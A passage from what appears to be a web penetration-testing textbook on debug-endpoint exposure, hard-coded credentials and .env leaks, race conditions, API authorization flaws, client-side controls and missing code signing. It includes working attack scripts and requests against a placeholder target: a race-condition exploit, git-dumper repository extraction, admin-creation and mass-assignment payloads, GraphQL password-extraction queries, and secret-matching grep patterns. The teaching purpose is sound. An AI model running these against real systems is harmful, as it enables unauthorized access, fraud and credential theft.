name="send-delete-to-a-route-expecting-get" href="#send-delete-to-a-route-expecting-get" class="anchor"> </a> Send DELETE to a route expecting GET </h1> <h1> <a name="send-put-to-a-route-expecting-post" href="#send-put-to-a-route-expecting-post" class="anchor"> </a> Send PUT to a route expecting POST </h1> <h1> <a name="contenttype-mismatch" href="#contenttype-mismatch" class="anchor"> </a> Content-Type mismatch: </h1> <h1> <a name="send-json-with-contenttype-applicationxml" href="#send-json-with-contenttype-applicationxml" class="anchor"> </a> Send JSON with Content-Type: application/xml </h1> <h1> <a name="send-xml-with-contenttype-applicationjson" href="#send-xml-with-contenttype-applicationjson" class="anchor"> </a> Send XML with Content-Type: application/json </h1> <p>`<code></code></p> <p><strong>Checking for debug panels accidentally exposed in production:</strong></p> <p><code></code>`bash</p> <h1> <a name="django-debug-mode-endpoint" href="#django-debug-mode-endpoint" class="anchor"> </a> Django debug mode endpoint: </h1> <p><a href="https://target.com/__debug__/">https://target.com/__debug__/</a></p> <h1> <a name="laravel-telescope-debug-dashboard" href="#laravel-telescope-debug-dashboard" class="anchor"> </a> Laravel Telescope (debug dashboard): </h1> <p><a href="https://target.com/telescope">https://target.com/telescope</a></p> <h1> <a name="flask-debug-console" href="#flask-debug-console" class="anchor"> </a> Flask debug console: </h1> <p><a href="https://target.com/console">https://target.com/console</a></p> <h1> <a name="rails-debug" href="#rails-debug" class="anchor"> </a> Rails debug: </h1> <p><a href="https://target.com/rails/info/properties">https://target.com/rails/info/properties</a></p> <h1> <a name="php-xdebug-listener-check-for-port-9000" href="#php-xdebug-listener-check-for-port-9000" class="anchor"> </a> PHP Xdebug listener (check for port 9000): </h1> <h1> <a name="nmap-scan-nmap-p-9000-targetcom" href="#nmap-scan-nmap-p-9000-targetcom" class="anchor"> </a> nmap scan: nmap -p 9000 target.com </h1> <h1> <a name="spring-boot-actuator-endpoints-massive-information-disclosure" href="#spring-boot-actuator-endpoints-massive-information-disclosure" class="anchor"> </a> Spring Boot Actuator endpoints (massive information disclosure): </h1> <p><a href="https://target.com/actuator">https://target.com/actuator</a><br> <a href="https://target.com/actuator/health">https://target.com/actuator/health</a><br> <a href="https://target.com/actuator/env">https://target.com/actuator/env</a> # Environment variables including credentials!<br> <a href="https://target.com/actuator/beans">https://target.com/actuator/beans</a> # All Spring beans<br> <a href="https://target.com/actuator/mappings">https://target.com/actuator/mappings</a> # All URL mappings<br> <a href="https://target.com/actuator/configprops">https://target.com/actuator/configprops</a> # All configuration properties<br> <a href="https://target.com/actuator/loggers">https://target.com/actuator/loggers</a> # Logger configuration<br> <a href="https://target.com/actuator/metrics">https://target.com/actuator/metrics</a> # Application metrics<br> `<code></code></p> <p>Spring Boot Actuator's <code>/actuator/env</code> endpoint, when accessible without authentication, returns the complete application environment including database passwords, API keys, and all configuration values. This is a critical finding that is surprisingly common in cloud deployments.</p> <p><code></code>`bash</p> <h1> <a name="nuclei-checks-for-actuator-exposure" href="#nuclei-checks-for-actuator-exposure" class="anchor"> </a> Nuclei checks for actuator exposure: </h1> <p>nuclei -u <a href="https://target.com">https://target.com</a> -id springboot-actuator<br> nuclei -u <a href="https://target.com">https://target.com</a> -tags springboot<br> `<code></code></p> <hr> <h3> <a name="6124-hardcoded-credentials" href="#6124-hardcoded-credentials" class="anchor"> </a> 6.12.4 Hard-Coded Credentials </h3> <h4> <a name="the-problem-credentials-as-code" href="#the-problem-credentials-as-code" class="anchor"> </a> The Problem — Credentials as Code </h4> <p>Hard-coded credentials are authentication secrets embedded directly in source code rather than loaded from a secure configuration store. They appear in:</p> <ul> <li>Database connection strings in application code</li> <li>API keys in JavaScript files delivered to browsers</li> <li>Cryptographic keys and secrets in source repositories</li> <li>Default passwords in device firmware</li> <li>Test credentials left in production code</li> <li>Service account credentials in automation scripts</li> </ul> <p>The fundamental problem: code is shared, versioned, reviewed, committed, and often eventually made public. Credentials embedded in code inherit all these properties. When the code is committed to Git and pushed to a remote repository, the credentials are in the version history permanently — even if they are "deleted" in a subsequent commit. <code>git log</code> reveals all past states of the file.</p> <p><strong>Where hard-coded credentials appear in web applications:</strong></p> <p><code></code>`javascript<br> // Client-side JavaScript (visible to ALL users):<br> const apiKey = "OpenAI API key"; // OpenAI API key<br> const stripeKey = "Stripe live key"; // Stripe live key<br> const AWS_ACCESS_KEY = "AWS_ACCESS_KEY_";<br> const AWS_SECRET_KEY = "AWS_ACCESS_KEY_";<br> const dbPassword = "Pr0ductionDB_2024!";</p> <p>// In configuration files committed to version control:<br> DATABASE_URL = "postgresql://app_user:<a href="mailto:Pr0d_DB_Password@prod-db.internal">Pr0d_DB_Password@prod-db.internal</a>:5432/appdb"<br> REDIS_URL = "redis://:<a href="mailto:redis_password@redis.internal">redis_password@redis.internal</a>:6379/0"<br> SECRET_KEY = "django-insecure-change-this-before-deployment" # Still in production<br> JWT_SECRET = "mysecretkey" # Literally "mysecretkey"<br> `<code></code></p> <p><strong>Searching for hard-coded credentials:</strong></p> <p><code></code>`bash</p> <h1> <a name="in-a-codebase-you-have-access-to" href="#in-a-codebase-you-have-access-to" class="anchor"> </a> In a codebase you have access to: </h1> <p>grep -rn "password|passwd|secret|api_key|apikey|access_key|token" \<br> /var/www/html/ --include="<em>.php" --include="</em>.py" --include="<em>.js" \<br> --include="</em>.env" --include="*.conf" -i</p> <h1> <a name="looking-for-specific-patterns" href="#looking-for-specific-patterns" class="anchor"> </a> Looking for specific patterns: </h1> <p>grep -rn "DB_PASS|DATABASE_PASSWORD|DB_PASSWORD" /var/www/html/ -i<br> grep -rn "AKIA[A-Z0-9]{16}" /var/www/html/ # AWS Access Key pattern<br> grep -rn "sk_live_[a-zA-Z0-9]{24}" /var/www/html/ # Stripe Live Key pattern<br> grep -rn "ghp_[a-zA-Z0-9]{36}" /var/www/html/ # GitHub Personal Access Token</p> <h1> <a name="trufflehog-automated-secret-scanning" href="#trufflehog-automated-secret-scanning" class="anchor"> </a> trufflehog - automated secret scanning: </h1> <p>trufflehog filesystem /var/www/html/</p> <h1> <a name="gitleaks-scan-git-repositories" href="#gitleaks-scan-git-repositories" class="anchor"> </a> gitleaks - scan git repositories: </h1> <p>gitleaks detect --source /path/to/repo</p> <h1> <a name="in-public-github-repositories" href="#in-public-github-repositories" class="anchor"> </a> In public GitHub repositories: </h1> <h1> <a name="github-advanced-search-password-languagephp-filenameconfigphp" href="#github-advanced-search-password-languagephp-filenameconfigphp" class="anchor"> </a> GitHub advanced search: "password" language:PHP filename:config.php </h1> <h1> <a name="github-code-search-api-for-organization" href="#github-code-search-api-for-organization" class="anchor"> </a> GitHub code search API for organization: </h1> <h1> <a name="httpsapigithubcomsearchcodeqorgtargetcopasswordfilenameconfig" href="#httpsapigithubcomsearchcodeqorgtargetcopasswordfilenameconfig" class="anchor"> </a> <a href="https://api.github.com/search/code?q=org:targetco+password+filename:config">https://api.github.com/search/code?q=org:targetco+password+filename:config</a> </h1> <p>`<code></code></p> <p><strong>The Git History Attack:</strong></p> <p>Even when developers realize they committed credentials and remove them in a subsequent commit, the credential remains in git history:</p> <p><code></code>`bash</p> <h1> <a name="if-you-have-access-to-a-git-directory-another-finding-in-itself" href="#if-you-have-access-to-a-git-directory-another-finding-in-itself" class="anchor"> </a> If you have access to a .git directory (another finding in itself): </h1> <h1> <a name="download-entire-git-history" href="#download-entire-git-history" class="anchor"> </a> Download entire git history: </h1> <p>git log --oneline<br> git show [COMMIT_HASH]:path/to/config.php # Show file at specific commit<br> git diff HEAD~1 HEAD -- config.php # Show what changed<br> git log -p --follow -- config.php # Full history of file</p> <h1> <a name="tool-gitdumper-extract-git-repo-from-exposed-git-directory" href="#tool-gitdumper-extract-git-repo-from-exposed-git-directory" class="anchor"> </a> Tool: git-dumper (extract git repo from exposed .git directory): </h1> <p>git-dumper <a href="http://target.com/.git">http://target.com/.git</a> /tmp/dumped_repo/</p> <h1> <a name="after-dumping" href="#after-dumping" class="anchor"> </a> After dumping: </h1> <p>cd /tmp/dumped_repo<br> git log --all --oneline # All commits<br> git stash list # Any stashed changes<br> git show stash@{0} # Show stashed content (often dev credentials)</p> <h1> <a name="gitleaks-on-the-dumped-repository" href="#gitleaks-on-the-dumped-repository" class="anchor"> </a> gitleaks on the dumped repository: </h1> <p>gitleaks detect --source /tmp/dumped_repo --verbose<br> `<code></code></p> <p><strong>The .env file:</strong></p> <p>The <code>.env</code> file is used by almost every modern web framework to store environment-specific configuration — database URLs, API keys, secrets, environment flags. It should never be accessible from the web, but when misconfigured it is a complete credential dump:</p> <p><code></code>`bash</p> <h1> <a name="test-if-env-is-accessible" href="#test-if-env-is-accessible" class="anchor"> </a> Test if .env is accessible: </h1> <p>curl <a href="https://target.com/.env">https://target.com/.env</a></p> <h1> <a name="example-of-what-a-found-env-looks-like" href="#example-of-what-a-found-env-looks-like" class="anchor"> </a> Example of what a found .env looks like: </h1> <p>APP_KEY=base64:NbqGfCVBMuIJlQxCJjJfGzxPRGfDHXkVaGKBsTmrUa4=<br> DB_CONNECTION=mysql<br> DB_HOST=127.0.0.1<br> DB_PORT=3306<br> DB_DATABASE=laravel_production<br> DB_USERNAME=laravel_user<br> DB_PASSWORD=Pr0d_DB_P@ssword!</p> <p>AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE<br> AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY<br> AWS_DEFAULT_REGION=us-east-1</p> <p>STRIPE_SECRET_KEY=STRIPE_SECRET_KEY=fake_STRIPE<br> STRIPE_WEBHOOK_SECRET=STRIPE_SECRET_KEY=FAKE_STRIPE</p> <p>MAIL_USERNAME=<a href="mailto:no-reply@targetcompany.com">no-reply@targetcompany.com</a><br> MAIL_PASSWORD=EmailP@ssw0rd2024</p> <p>REDIS_PASSWORD=Redis_Secret_2024<br> `<code></code></p> <p>A single exposed <code>.env</code> file like this can compromise the entire application infrastructure — database, cloud provider account, payment processor, email system, and caching layer.</p> <hr> <h3> <a name="6125-race-conditions" href="#6125-race-conditions" class="anchor"> </a> 6.12.5 Race Conditions </h3> <h4> <a name="the-timing-attack-on-business-logic" href="#the-timing-attack-on-business-logic" class="anchor"> </a> The Timing Attack on Business Logic </h4> <p>A race condition is a software flaw where the behavior of a program depends on the relative timing of concurrent operations, and that timing can be manipulated by an attacker to cause unintended behavior.</p> <p>In the context of web applications, race conditions occur in sequences where:</p> <ol> <li>The application reads a state value (checking if a coupon is valid, verifying account balance, checking inventory)</li> <li>The application makes a decision based on that state</li> <li>The application updates the state (marking coupon as used, deducting balance, reducing inventory)</li> </ol> <p>If multiple requests arrive simultaneously, multiple instances of step 1 may execute before any instance of step 3 completes. Each request reads the original state and makes the same decision independently — but only one state update may occur, or the updates may conflict.</p> <p>This was covered conceptually in Section 6.3 (Business Logic Flaws). Here we focus on the technical exploitation:</p> <h4> <a name="race-condition-attack-techniques" href="#race-condition-attack-techniques" class="anchor"> </a> Race Condition Attack Techniques </h4> <p><strong>The Last-Byte Synchronization Technique:</strong></p> <p>HTTP/1.1 requests are sent sequentially. For a race condition attack, requests need to arrive at the server simultaneously — within microseconds of each other.</p> <p>The most effective technique is to build all requests completely and then send only the final byte of each simultaneously. TCP buffers the data on the server side, and releasing the final bytes simultaneously causes the server to process all requests at nearly the same moment.</p> <p><strong>In Burp Suite:</strong></p> <p><code></code>`</p> <ol> <li>Capture the sensitive request (e.g., coupon redemption)</li> <li>Right-click → "Send to Repeater"</li> <li>Repeat this 20 times (20 tabs, same request)</li> <li>In Repeater: select all tabs (Ctrl+A)</li> <li>Right-click → "Send group in parallel (last-byte sync)"</li> <li>All 20 requests fire simultaneously</li> <li>Observe responses — how many succeeded? `<code></code></li> </ol> <p><strong>Python implementation for precise timing:</strong></p> <p><code></code>`python<br> import threading<br> import requests<br> import time</p> <p>target_url = "<a href="https://target.com/api/redeem-coupon">https://target.com/api/redeem-coupon</a>"<br> headers = {<br> "Cookie": "session=your_session_cookie",<br> "Content-Type": "application/json"<br> }<br> data = {"coupon_code": "SAVE50"}</p> <h1> <a name="store-all-responses" href="#store-all-responses" class="anchor"> </a> Store all responses </h1> <p>responses = []<br> lock = threading.Lock()</p> <p>def send_request():<br> response = requests.post(target_url, headers=headers, json=data)<br> with lock:<br> responses.append({<br> "status": response.status_code,<br> "body": response.json() if response.headers.get('content-type', '').startswith('application/json') else response.text<br> })</p> <h1> <a name="create-20-threads" href="#create-20-threads" class="anchor"> </a> Create 20 threads </h1> <p>threads = []<br> for i in range(20):<br> t = threading.Thread(target=send_request)<br> threads.append(t)</p> <h1> <a name="start-all-threads-simultaneously" href="#start-all-threads-simultaneously" class="anchor"> </a> Start all threads simultaneously </h1> <p>for t in threads:<br> t.start()</p> <h1> <a name="wait-for-completion" href="#wait-for-completion" class="anchor"> </a> Wait for completion </h1> <p>for t in threads:<br> t.join()</p> <h1> <a name="analyze-results" href="#analyze-results" class="anchor"> </a> Analyze results </h1> <p>successes = [r for r in responses if r["status"] == 200]<br> print(f"Total requests: {len(responses)}")<br> print(f"Successful responses: {len(successes)}")<br> if len(successes) > 1:<br> print(f"RACE CONDITION CONFIRMED: {len(successes)} successful redemptions")<br> `<code></code></p> <p><strong>High-precision Turbo Intruder (Burp extension):</strong></p> <p>For more precise timing control, Turbo Intruder sends requests with sub-millisecond precision:</p> <p><code></code>`python</p> <h1> <a name="turbo-intruder-script-for-race-condition-testing" href="#turbo-intruder-script-for-race-condition-testing" class="anchor"> </a> Turbo Intruder script for race condition testing: </h1> <p>def queueRequests(target, wordlists):<br> engine = RequestEngine(endpoint=target.endpoint,<br> concurrentConnections=20,<br> requestsPerConnection=1,<br> pipeline=False)</p> <div class="highlight"><pre class="highlight plaintext"><code># Queue 20 identical requests for i in range(20): engine.queue(target.req) </code></pre></div> <p>def handleResponse(req, interesting):<br> table.add(req)<br> `<code></code></p> <h4> <a name="common-race-condition-targets" href="#common-race-condition-targets" class="anchor"> </a> Common Race Condition Targets </h4> <table><thead> <tr> <th>Functionality</th> <th>Race Condition Impact</th> </tr> </thead><tbody> <tr> <td>Single-use discount codes</td> <td>Redeem same code multiple times</td> </tr> <tr> <td>"Limit 1 per customer" promotions</td> <td>Bypass purchase limit</td> </tr> <tr> <td>Account balance deduction</td> <td>Spend the same balance twice</td> </tr> <tr> <td>File upload with virus scan</td> <td>Upload malicious file between scan and move</td> </tr> <tr> <td>Email verification token</td> <td>Use verification token multiple times</td> </tr> <tr> <td>Password reset token</td> <td>Execute multiple resets simultaneously</td> </tr> <tr> <td>Gift card redemption</td> <td>Apply gift card balance multiple times</td> </tr> <tr> <td>Inventory reservation</td> <td>Reserve more items than available</td> </tr> <tr> <td>Rate limiting by session count</td> <td>Create multiple sessions simultaneously</td> </tr> </tbody></table> <hr> <h3> <a name="6126-unprotected-apis" href="#6126-unprotected-apis" class="anchor"> </a> 6.12.6 Unprotected APIs </h3> <h4> <a name="the-api-security-gap" href="#the-api-security-gap" class="anchor"> </a> The API Security Gap </h4> <p>Modern web applications are built around APIs — Application Programming Interfaces that separate the front-end presentation from the back-end business logic. Single-page applications (React, Vue, Angular), mobile applications, and IoT devices all consume the same backend APIs.</p> <p>The security gap arises because:</p> <ul> <li>The web UI enforces access controls through visible/invisible elements and client-side routing</li> <li>The API endpoints are often implemented with minimal or no server-side authorization checking</li> <li>Developers assume only the official clients will call the API</li> <li>API documentation (Swagger/OpenAPI) may be publicly accessible, mapping the entire attack surface</li> <li>API versioning creates old, forgotten endpoints with weaker security</li> </ul> <p>The most dangerous assumption in API security: <strong>"This endpoint isn't linked anywhere in the UI, so nobody will find it."</strong> This is incorrect, as JavaScript analysis, directory brute force, API documentation exposure, and traffic analysis all reveal API endpoints.</p> <h4> <a name="api-discovery-techniques" href="#api-discovery-techniques" class="anchor"> </a> API Discovery Techniques </h4> <p><strong>From JavaScript bundle analysis:</strong></p> <p>SPAs bundle all API calls into JavaScript. Extract them:<br> <code></code>`bash</p> <h1> <a name="download-main-javascript-bundle" href="#download-main-javascript-bundle" class="anchor"> </a> Download main JavaScript bundle: </h1> <p>curl -s <a href="https://target.com/static/js/main.abc123.js">https://target.com/static/js/main.abc123.js</a> | \<br> grep -oE "(/api/|/v[0-9]+/)[a-zA-Z0-9/_-]+" | sort -u</p> <h1> <a name="linkfinder-for-comprehensive-extraction" href="#linkfinder-for-comprehensive-extraction" class="anchor"> </a> LinkFinder for comprehensive extraction: </h1> <p>python3 linkfinder.py -i <a href="https://target.com">https://target.com</a> -d -o cli | grep "/api/"<br> `<code></code></p> <p><strong>From API documentation exposure:</strong></p> <p><code></code>`bash</p> <h1> <a name="common-api-documentation-paths" href="#common-api-documentation-paths" class="anchor"> </a> Common API documentation paths: </h1> <p>curl <a href="https://target.com/swagger.json">https://target.com/swagger.json</a><br> curl <a href="https://target.com/swagger/v1/swagger.json">https://target.com/swagger/v1/swagger.json</a><br> curl <a href="https://target.com/api/swagger.json">https://target.com/api/swagger.json</a><br> curl <a href="https://target.com/openapi.json">https://target.com/openapi.json</a><br> curl <a href="https://target.com/api-docs">https://target.com/api-docs</a><br> curl <a href="https://target.com/api/docs">https://target.com/api/docs</a><br> curl <a href="https://target.com/v1/docs">https://target.com/v1/docs</a><br> curl <a href="https://target.com/redoc">https://target.com/redoc</a></p> <h1> <a name="nuclei-check-for-exposed-api-documentation" href="#nuclei-check-for-exposed-api-documentation" class="anchor"> </a> Nuclei check for exposed API documentation: </h1> <p>nuclei -u <a href="https://target.com">https://target.com</a> -tags swagger,openapi,api-docs<br> `<code></code></p> <p><strong>From Burp Spider and manual browsing:</strong></p> <p>Let Burp's spider and manual browsing build a complete map of API endpoints in the site map. Then navigate the application through every UI flow — login, view profile, edit profile, purchase, checkout — while Burp captures all API calls.</p> <h4> <a name="common-api-vulnerabilities" href="#common-api-vulnerabilities" class="anchor"> </a> Common API Vulnerabilities </h4> <p><strong>BOLA — Broken Object Level Authorization (API-specific IDOR):</strong></p> <p>The API equivalent of IDOR. API endpoints accept object IDs and return data for those objects without verifying the requesting user owns them:</p> <p><code></code>`bash</p> <h1> <a name="endpoint-returns-your-own-order" href="#endpoint-returns-your-own-order" class="anchor"> </a> Endpoint returns your own order: </h1> <p>GET /api/v1/orders/8812<br> Authorization: Bearer USER_A_TOKEN</p> <h1> <a name="enumerate-other-orders-does-authorization-check-who-owns-order-8813" href="#enumerate-other-orders-does-authorization-check-who-owns-order-8813" class="anchor"> </a> Enumerate other orders — does authorization check who owns order 8813? </h1> <p>GET /api/v1/orders/8813<br> Authorization: Bearer USER_A_TOKEN</p> <h1> <a name="api-documentation-reveals-all-order-ids-are-uuids-but-are-they-random" href="#api-documentation-reveals-all-order-ids-are-uuids-but-are-they-random" class="anchor"> </a> API documentation reveals all order IDs are UUIDs, but are they random? </h1> <h1> <a name="if-not-enumerate-sequentially-or-predictably" href="#if-not-enumerate-sequentially-or-predictably" class="anchor"> </a> If not: enumerate sequentially or predictably </h1> <p>`<code></code></p> <p><strong>BFLA — Broken Function Level Authorization (API-specific privilege escalation):</strong></p> <p>API endpoints for admin functions accessible to regular users:</p> <p><code></code>`bash</p> <h1> <a name="normal-users-are-directed-to" href="#normal-users-are-directed-to" class="anchor"> </a> Normal users are directed to: </h1> <p>GET /api/v1/users/me</p> <h1> <a name="but-the-admin-endpoint-exists-and-may-work" href="#but-the-admin-endpoint-exists-and-may-work" class="anchor"> </a> But the admin endpoint exists and may work: </h1> <p>GET /api/v1/admin/users<br> GET /api/v1/admin/users/1042<br> DELETE /api/v1/admin/users/1042<br> POST /api/v1/admin/promote?user_id=1042&role=admin<br> `<code></code></p> <p><strong>Mass Assignment via API:</strong></p> <p>APIs that automatically bind request parameters to model properties allow privilege escalation by submitting non-intended fields:</p> <p><code></code>`bash</p> <h1> <a name="normal-user-update-endpoint" href="#normal-user-update-endpoint" class="anchor"> </a> Normal user update endpoint: </h1> <p>PATCH /api/v1/users/me<br> Content-Type: application/json<br> Authorization: Bearer USER_TOKEN</p> <p>{"name": "Alice", "email": "<a href="mailto:alice@example.com">alice@example.com</a>"}</p> <h1> <a name="malicious-request-add-role-field" href="#malicious-request-add-role-field" class="anchor"> </a> Malicious request — add role field: </h1> <p>PATCH /api/v1/users/me<br> Content-Type: application/json<br> Authorization: Bearer USER_TOKEN</p> <p>{"name": "Alice", "email": "<a href="mailto:alice@example.com">alice@example.com</a>", "role": "admin", "isAdmin": true}</p> <h1> <a name="if-api-uses-mass-assignment-maps-all-request-fields-to-model" href="#if-api-uses-mass-assignment-maps-all-request-fields-to-model" class="anchor"> </a> If API uses mass assignment (maps all request fields to model): </h1> <h1> <a name="user-becomes-admin" href="#user-becomes-admin" class="anchor"> </a> User becomes admin </h1> <p>`<code></code></p> <p><strong>Unauthenticated API Endpoints:</strong></p> <p><code></code>`bash</p> <h1> <a name="test-every-api-endpoint-without-any-authorization-header" href="#test-every-api-endpoint-without-any-authorization-header" class="anchor"> </a> Test every API endpoint without any Authorization header: </h1> <p>curl -X GET <a href="https://target.com/api/v1/users">https://target.com/api/v1/users</a><br> curl -X GET <a href="https://target.com/api/v1/orders">https://target.com/api/v1/orders</a><br> curl -X POST <a href="https://target.com/api/v1/admin/create-user">https://target.com/api/v1/admin/create-user</a> \<br> -H "Content-Type: application/json" \<br> -d '{"username":"hacker","password":"hacker123","role":"admin"}'</p> <h1> <a name="internal-api-endpoints-that-bypass-authentication" href="#internal-api-endpoints-that-bypass-authentication" class="anchor"> </a> Internal API endpoints that bypass authentication: </h1> <h1> <a name="apiinternal-often-accessible-from-within-the-data-center-only" href="#apiinternal-often-accessible-from-within-the-data-center-only" class="anchor"> </a> /api/internal/ — often accessible from within the data center only </h1> <h1> <a name="but-if-ssrf-exists-elsewhere-ssrf-→-internal-api-call-→-admin-access" href="#but-if-ssrf-exists-elsewhere-ssrf-→-internal-api-call-→-admin-access" class="anchor"> </a> But if SSRF exists elsewhere: SSRF → internal API call → admin access </h1> <p>`<code></code></p> <p><strong>GraphQL-Specific Attacks:</strong></p> <p><code></code>`bash</p> <h1> <a name="introspection-reveals-complete-schema" href="#introspection-reveals-complete-schema" class="anchor"> </a> Introspection — reveals complete schema: </h1> <p>curl -X POST <a href="https://target.com/graphql">https://target.com/graphql</a> \<br> -H "Content-Type: application/json" \<br> -d '{"query": "{ __schema { types { name fields { name type { name } } } } }"}'</p> <h1> <a name="if-introspection-is-enabled-use-graphqlvoyager-to-visualize-the-schema" href="#if-introspection-is-enabled-use-graphqlvoyager-to-visualize-the-schema" class="anchor"> </a> If introspection is enabled, use graphql-voyager to visualize the schema </h1> <h1> <a name="or-inql-burp-extension-to-generate-attack-requests-for-every-endpoint" href="#or-inql-burp-extension-to-generate-attack-requests-for-every-endpoint" class="anchor"> </a> or InQL Burp extension to generate attack requests for every endpoint </h1> <h1> <a name="batch-queries-for-rate-limit-bypass" href="#batch-queries-for-rate-limit-bypass" class="anchor"> </a> Batch queries for rate limit bypass: </h1> <p>curl -X POST <a href="https://target.com/graphql">https://target.com/graphql</a> \<br> -H "Content-Type: application/json" \<br> -d '[<br> {"query": "query { user(id: 1) { email password } }"},<br> {"query": "query { user(id: 2) { email password } }"},<br> {"query": "query { user(id: 3) { email password } }"}<br> ]'</p> <h1> <a name="field-duplication-can-bypass-field-limits" href="#field-duplication-can-bypass-field-limits" class="anchor"> </a> Field duplication (can bypass field limits): </h1> <p>curl -X POST <a href="https://target.com/graphql">https://target.com/graphql</a> \<br> -H "Content-Type: application/json" \<br> -d '{"query": "{ user { id id id id id id id id id id id } }"}'</p> <h1> <a name="graphql-injection" href="#graphql-injection" class="anchor"> </a> GraphQL injection: </h1> <p>curl -X POST <a href="https://target.com/graphql">https://target.com/graphql</a> \<br> -H "Content-Type: application/json" \<br> -d '{"query": "{ user(id: \"1\\") { id } }\")"}'<br> `<code></code></p> <hr> <h3> <a name="6127-hidden-elements-and-clientside-controls" href="#6127-hidden-elements-and-clientside-controls" class="anchor"> </a> 6.12.7 Hidden Elements and Client-Side Controls </h3> <h4> <a name="why-hidden-means-nothing-for-security" href="#why-hidden-means-nothing-for-security" class="anchor"> </a> Why "Hidden" Means Nothing for Security </h4> <p>A common developer misconception: if a UI element is hidden from the user, the user cannot interact with it. This is completely false. CSS <code>display:none</code>, HTML <code>hidden</code> attribute, or JavaScript-controlled visibility are purely visual — the underlying HTML elements still exist in the DOM, and the form fields, buttons, and parameters they represent are still submitted in HTTP requests.</p> <p>An attacker using Burp Suite does not see the rendered, filtered view — they see raw HTTP. Every hidden field in a form is included in the POST request. Every client-side validation check can be removed by intercepting and modifying the request. Every disabled button can be clicked by manipulating the DOM. Every access control enforced only in JavaScript is bypassed the moment the attacker bypasses the JavaScript.</p> <p><strong>Common hidden element patterns:</strong></p> <p><code></code>`html</p> <!-- Role stored in hidden field — modify before submission: --> <p><input type="hidden" name="role" value="user"></p> <!-- User ID of the resource being modified: --> <p><input type="hidden" name="user_id" value="1042"></p> <!-- Price calculated client-side: --> <p><input type="hidden" name="price" value="99.99"></p> <!-- Checkbox that controls premium feature: --> <p><input type="checkbox" name="premium" style="display:none" checked></p> <!-- A disabled button for an action the user "shouldn't" be able to perform: --> <p><button id="admin-delete" disabled style="display:none" onclick="deleteUser()">Delete User</button></p> <!-- If server accepts the underlying endpoint, enabling this in DevTools works: --> <p>`<code></code></p> <p><strong>How to test:</strong></p> <p><code></code>`javascript<br> // In browser DevTools Console — remove "disabled" from all buttons:<br> document.querySelectorAll('button[disabled]').forEach(b => b.disabled = false);</p> <p>// Show all hidden elements:<br> document.querySelectorAll('[style*="display:none"]').forEach(e => e.style.display = 'block');<br> document.querySelectorAll('[hidden]').forEach(e => e.removeAttribute('hidden'));</p> <p>// Modify a hidden form field value:<br> document.querySelector('input[name="role"]').value = 'admin';</p> <p>// Submit the form with modified values<br> `<code></code></p> <p><strong>In Burp Suite:</strong></p> <ol> <li>Submit a form legitimately</li> <li>In Burp Proxy — intercept the request before forwarding</li> <li>Modify any parameter value (including hidden fields, prices, IDs, roles)</li> <li>Forward the modified request</li> <li>Observe whether the server trusts the modified value</li> </ol> <p>The server must validate all values server-side, regardless of whether they were intended to be user-editable. Any server-side processing that trusts a client-submitted value that could have been tampered with is a vulnerability.</p> <p><strong>Client-side validation bypass:</strong></p> <p><code></code>`html</p> <!-- HTML5 validation (purely client-side — bypass by intercepting the request): --> <p><input type="email" required pattern="[a-z]+@[a-z]+\.[a-z]+"><br> <input type="number" min="1" max="100"><br> <input type="text" maxlength="50"></p> <!-- JavaScript validation: --> <p><form onsubmit="return validateForm()"></p> <!-- All of these are bypassed by: 1. Editing the form directly in DevTools (remove the attributes) 2. Intercepting the form submission in Burp and modifying the values 3. Using curl to send any value directly, bypassing the form entirely --> <p>`<code></code></p> <hr> <h3> <a name="6128-lack-of-code-signing" href="#6128-lack-of-code-signing" class="anchor"> </a> 6.12.8 Lack of Code Signing </h3> <h4> <a name="what-code-signing-protects-and-what-happens-without-it" href="#what-code-signing-protects-and-what-happens-without-it" class="anchor"> </a> What Code Signing Protects and What Happens Without It </h4> <p>Code signing is the practice of cryptographically signing software artifacts — binaries, JavaScript bundles, configuration files, firmware images — with the developer's private key. Users can verify the signature with the corresponding public key to confirm the file came from the legitimate developer and has not been tampered with.</p> <p>Without code signing:</p> <ul> <li>Users cannot verify software came from the legitimate source</li> <li>Intermediate CDNs, package registries, or update servers could serve modified malicious versions</li> <li>Supply chain attacks become possible without cryptographic detection</li> </ul> <p><strong>Subresource Integrity (SRI) — Code Signing for Web Resources:</strong></p> <p>When a web page loads a JavaScript library from a CDN, the browser has no way to verify the CDN serves the correct, unmodified file. If the CDN is compromised or the file is replaced, malicious code runs on every visitor's browser.</p> <p>SRI (Subresource Integrity) solves this. The HTML tag includes a cryptographic hash of the expected file content. The browser downloads the file, computes the hash, and refuses to execute it if the hash does not match:</p> <p><code></code>`html</p> <!-- WITHOUT SRI - trusts CDN completely: --> <script src="https://cdn.example.com/jquery-3.7.0.min.js"></script> <!-- WITH SRI - cryptographically verified: --> <script src="https://cdn.example.com/jquery-3.7.0.min.js" integrity="sha384-NXgwF8Kv9SSAr+jemKKcbvQsz+teULH/a5UNJvZc6kP47hZgl62M1vGnw6gHQhb3" crossorigin="anonymous"> </script> <p>`<code></code></p> <p>If the CDN serves a modified <code>jquery-3.7.0.min.js</code> (with a cryptocurrency miner, a keylogger, or a malicious redirect injected), the hash will not match and the browser will refuse to load it.</p> <p><strong>Testing for missing SRI:</strong></p> <p><code></code>`bash</p> <h1> <a name="check-for-external-scripts-without-integrity-attributes" href="#check-for-external-scripts-without-integrity-attributes" class="anchor"> </a> Check for external scripts without integrity attributes: </h1> <p>curl -s <a href="https://target.com/">https://target.com/</a> | grep -i '<script src' | grep -v 'integrity='</p> <h1> <a name="nuclei-check" href="#nuclei-check" class="anchor"> </a> Nuclei check: </h1> <p>nuclei -u <a href="https://target.com">https://target.com</a> -id missing-sri</p> <h1> <a name="manual-check-in-devtools-→-sources-look-for-external-scripts" href="#manual-check-in-devtools-→-sources-look-for-external-scripts" class="anchor"> </a> Manual check: in DevTools → Sources, look for external scripts </h1> <h1> <a name="→-security-→-check-if-any-external-origins-are-loaded-without-verification" href="#→-security-→-check-if-any-external-origins-are-loaded-without-verification" class="anchor"> </a> → Security → check if any external origins are loaded without verification </h1> <p>`<code></code></p> <p><strong>Software update mechanisms:</strong></p> <p>Desktop applications that download updates over HTTP (without HTTPS and without signature verification) are vulnerable to in-path replacement attacks. An attacker positioned on the network can intercept the update download and replace it with a malicious installer. The application installs the malicious version without knowing the package was tampered with.</p> <p><strong>npm/pip package security:</strong></p> <p>JavaScript's npm ecosystem and Python's pip have both suffered supply chain attacks where attackers published malicious packages with names similar to popular legitimate packages (typosquatting). Without lockfiles and hash verification, an application might 